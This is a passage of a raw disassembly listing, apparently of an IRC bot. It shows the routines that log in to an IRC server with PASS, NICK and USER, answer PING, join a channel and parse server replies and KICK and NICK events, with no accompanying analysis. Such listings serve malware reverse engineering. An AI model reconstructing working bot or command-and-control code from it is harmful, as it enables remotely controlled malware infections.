loc_401B39:				; CODE XREF: sub_4019E7+5Aj
		xor	eax, eax
		jmp	short loc_401B49
; ---------------------------------------------------------------------------

loc_401B3D:				; CODE XREF: sub_4019E7+14Bj
		push	[ebp+var_34]
		call	sub_40BAAA
		pop	ecx
		push	2
		pop	eax

loc_401B49:				; CODE XREF: sub_4019E7+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4019E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B4F	proc near		; CODE XREF: sub_4019E7+123p

Dst		= byte ptr -1A90h
var_A90		= dword	ptr -0A90h
var_2C0		= dword	ptr -2C0h
var_140		= dword	ptr -140h
Str		= byte ptr -0A0h
Dest		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Source		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx

loc_401B6D:				; CODE XREF: sub_401B4F+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401B6D
		cmp	byte_4E409C, bl
		jz	short loc_401B94
		push	offset byte_4E409C ; Args
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]	; int
		call	sub_409D26
		add	esp, 0Ch

loc_401B94:				; CODE XREF: sub_401B4F+2Ej
		push	[ebp+Source]
		lea	eax, [ebp+Dest]
		push	ebx		; Str1
		push	ebx		; int
		push	2		; int
		push	eax		; Dest
		call	sub_40B487
		add	esp, 10h
		push	eax
		lea	eax, [ebp+Str]
		push	[ebp+Source]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E4270	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401BFE
		push	[ebp+arg_0]
		call	dword_4E42B8	; closesocket
		push	1388h
		call	ds:dword_4F6380	; Sleep

loc_401BF7:				; CODE XREF: sub_401B4F+D9j
					; sub_401B4F+153j
		xor	eax, eax

loc_401BF9:				; CODE XREF: sub_401B4F+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401BFE:				; CODE XREF: sub_401B4F+92j
					; sub_401B4F+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+Dst]
		push	esi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4E4238	; recv
		test	eax, eax
		jle	short loc_401BF7
		lea	eax, [ebp+var_A90]
		push	eax		; int
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	sub_418CD0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401BFE
		lea	edi, [ebp+var_A90]

loc_401C4F:				; CODE XREF: sub_401B4F+165j
		push	1
		pop	esi

loc_401C52:				; CODE XREF: sub_401B4F+144j
		push	[ebp+arg_1C]	; int
		lea	eax, [ebp+var_8]
		push	esi		; File
		push	eax		; int
		lea	eax, [ebp+var_140]
		push	eax		; int
		lea	eax, [ebp+var_2C0]
		push	eax		; int
		push	[ebp+arg_18]	; int
		push	[ebp+Source]	; Source
		push	[ebp+arg_8]	; int
		push	[ebp+arg_4]	; int
		push	[ebp+arg_0]	; int
		push	dword ptr [edi]	; Src
		call	sub_401CC7
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401C95
		push	7D0h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_401C52
; ---------------------------------------------------------------------------

loc_401C95:				; CODE XREF: sub_401B4F+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401CBF
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401CBB
		cmp	esi, 0FFFFFFFFh
		jz	loc_401BF7
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401C4F
		jmp	loc_401BFE
; ---------------------------------------------------------------------------

loc_401CBB:				; CODE XREF: sub_401B4F+14Ej
		push	1
		jmp	short loc_401CC1
; ---------------------------------------------------------------------------

loc_401CBF:				; CODE XREF: sub_401B4F+149j
		push	2

loc_401CC1:				; CODE XREF: sub_401B4F+16Ej
		pop	eax
		jmp	loc_401BF9
sub_401B4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_401CC7(int Src,int,int,int,char *Source,int,int,int,int,FILE *File,int)

sub_401CC7	proc near		; CODE XREF: sub_401B4F+12Ap

var_5D98	= dword	ptr -5D98h
var_5D88	= dword	ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
Dest		= byte ptr -50F4h
FullPath	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= dword	ptr -45ECh
var_4588	= byte ptr -4588h
Str		= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
Filename	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
Drive		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
Str1		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
Count		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
Dst		= byte ptr -2C0h
var_C0		= byte ptr -0C0h
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
SubStr		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
Args		= byte ptr -8Ch
Format		= dword	ptr -88h
Str2		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
Source		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
File		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	__alloca_probe
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_A4], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A8], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C4], ebx
		call	_memset
		push	1Bh		; Count
		lea	eax, [ebp+Str1]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 18h
		cmp	[ebp+Src], ebx
		jz	loc_402166
		push	esi		; Size
		lea	eax, [ebp+Str]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		dec	esi
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+Str]
		push	offset SubStr	; " :"
		push	eax		; Str
		call	_strstr
		mov	[ebp+var_C], eax
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	eax		; Source
		lea	eax, [ebp+var_4AF0]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_4AF0]
		push	offset Delim	; " "
		push	eax		; Str
		call	_strtok
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	esi, [ebp+Args]
		push	1Fh
		pop	edi

loc_401D92:				; CODE XREF: sub_401CC7+DEj
		push	offset asc_440B90 ; " "
		push	ebx		; Str
		call	_strtok
		mov	[esi], eax
		pop	ecx
		add	esi, 4
		dec	edi
		pop	ecx
		jnz	short loc_401D92
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_402166
		cmp	dword ptr [ebp+Args], ebx
		jz	loc_402166
		push	100h		; Size
		lea	eax, [ebp+var_960]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi

loc_401DDF:				; CODE XREF: sub_401CC7+14Aj
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401E0B
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401E13
		cmp	[eax+2], bl
		jnz	short loc_401E13
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_401E0B:				; CODE XREF: sub_401CC7+11Cj
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401DDF

loc_401E13:				; CODE XREF: sub_401CC7+121j
					; sub_401CC7+126j
		cmp	[ebp+var_8ED], bl
		jz	short loc_401E1E
		mov	[ebp+var_8], edi

loc_401E1E:				; CODE XREF: sub_401CC7+152j
		cmp	[ebp+var_8F2], bl
		jz	short loc_401E2C
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_401E2C:				; CODE XREF: sub_401CC7+15Dj
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401E66
		push	7Fh		; Count
		lea	eax, [ebp+var_E00]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [esi+1]
		push	17h		; Count
		push	eax		; Source
		lea	eax, [ebp+var_C0]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_C0]
		push	offset asc_440B94 ; "!"
		push	eax		; Str
		call	_strtok
		add	esp, 20h

loc_401E66:				; CODE XREF: sub_401CC7+168j
		push	esi		; Str2
		push	offset aPing	; "PING"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401EB7
		push	dword ptr [ebp+Args] ; Args
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401F5B
		push	[ebp+arg_C]
		push	[ebp+arg_8]	; Args
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		add	esp, 10h
		jmp	loc_401F5B
; ---------------------------------------------------------------------------

loc_401EB7:				; CODE XREF: sub_401CC7+1AEj
		mov	esi, dword ptr [ebp+Args]
		push	esi		; Str2
		push	offset a001	; "001"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409CDA
		push	esi		; Str2
		push	offset a005	; "005"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409CDA
		push	esi		; Str2
		push	offset a302_0	; "302"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F1F
		push	offset a@	; "@"
		push	[ebp+Str2]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401F5B
		inc	eax
		push	9Fh		; Count
		push	eax		; Source
		push	[ebp+arg_1C]	; Dest
		call	_strncpy
		jmp	short loc_401F58
; ---------------------------------------------------------------------------

loc_401F1F:				; CODE XREF: sub_401CC7+22Fj
		push	esi		; Str2
		push	offset a433_0	; "433"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F62
		push	ebx		; Str1
		push	dword_44009C	; int
		push	dword_440098	; int
		push	[ebp+Source]	; Dest
		call	sub_40B487
		add	esp, 10h
		push	[ebp+Source]	; Args
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26

loc_401F58:				; CODE XREF: sub_401CC7+256j
		add	esp, 0Ch

loc_401F5B:				; CODE XREF: sub_401CC7+1CFj
					; sub_401CC7+1EBj ...
		mov	eax, edi
		jmp	loc_402169
; ---------------------------------------------------------------------------

loc_401F62:				; CODE XREF: sub_401CC7+267j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_2C8], 3
		mov	edi, 80h

loc_401F74:				; CODE XREF: sub_401CC7+2D2j
		lea	eax, [ebp+var_E00]
		push	eax		; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F91
		mov	[ebp+var_A8], 1

loc_401F91:				; CODE XREF: sub_401CC7+2BEj
		add	esi, edi
		dec	[ebp+var_2C8]
		jnz	short loc_401F74
		mov	esi, dword ptr [ebp+Args]
		push	esi		; Str2
		push	offset aKick	; "KICK"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40208B
		mov	esi, [ebp+arg_18]
		mov	[ebp+File], 3

loc_401FC0:				; CODE XREF: sub_401CC7+389j
		cmp	[esi], bl
		jz	loc_40204B
		push	7Fh		; Count
		lea	eax, [ebp+var_E00]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_C0]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40204B
		cmp	[ebp+Str2], ebx
		jz	short loc_40204B
		push	[ebp+Str2]	; Str2
		lea	eax, [ebp+var_C0]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40204B
		lea	eax, [ebp+var_C0]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_440C14 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax		; Args
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77
		add	esp, 14h

loc_40204B:				; CODE XREF: sub_401CC7+2FBj
					; sub_401CC7+31Bj ...
		add	esi, edi
		dec	[ebp+File]
		jnz	loc_401FC0
		push	[ebp+Str2]	; Str2
		push	[ebp+Source]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402166
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]	; Args
		mov	[eax], ebx
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"

loc_40207E:				; CODE XREF: sub_401CC7+5EEj
					; sub_401CC7+8A4j ...
		push	[ebp+arg_4]	; int
		call	sub_409D26
		jmp	loc_404492
; ---------------------------------------------------------------------------

loc_40208B:				; CODE XREF: sub_401CC7+2E9j
		push	esi		; Str2
		push	offset aNick	; "NICK"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4021CE
		mov	eax, [ebp+Format]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+Src], 3
		mov	[ebp+File], eax

loc_4020B4:				; CODE XREF: sub_401CC7+43Fj
		lea	eax, [ebp+var_E00]
		push	eax		; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402101
		lea	eax, [ebp+var_E00]
		push	21h		; Val
		push	eax		; Str
		call	_strchr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_402101
		push	[ebp+File]	; Source
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax		; Dest
		call	_strcpy
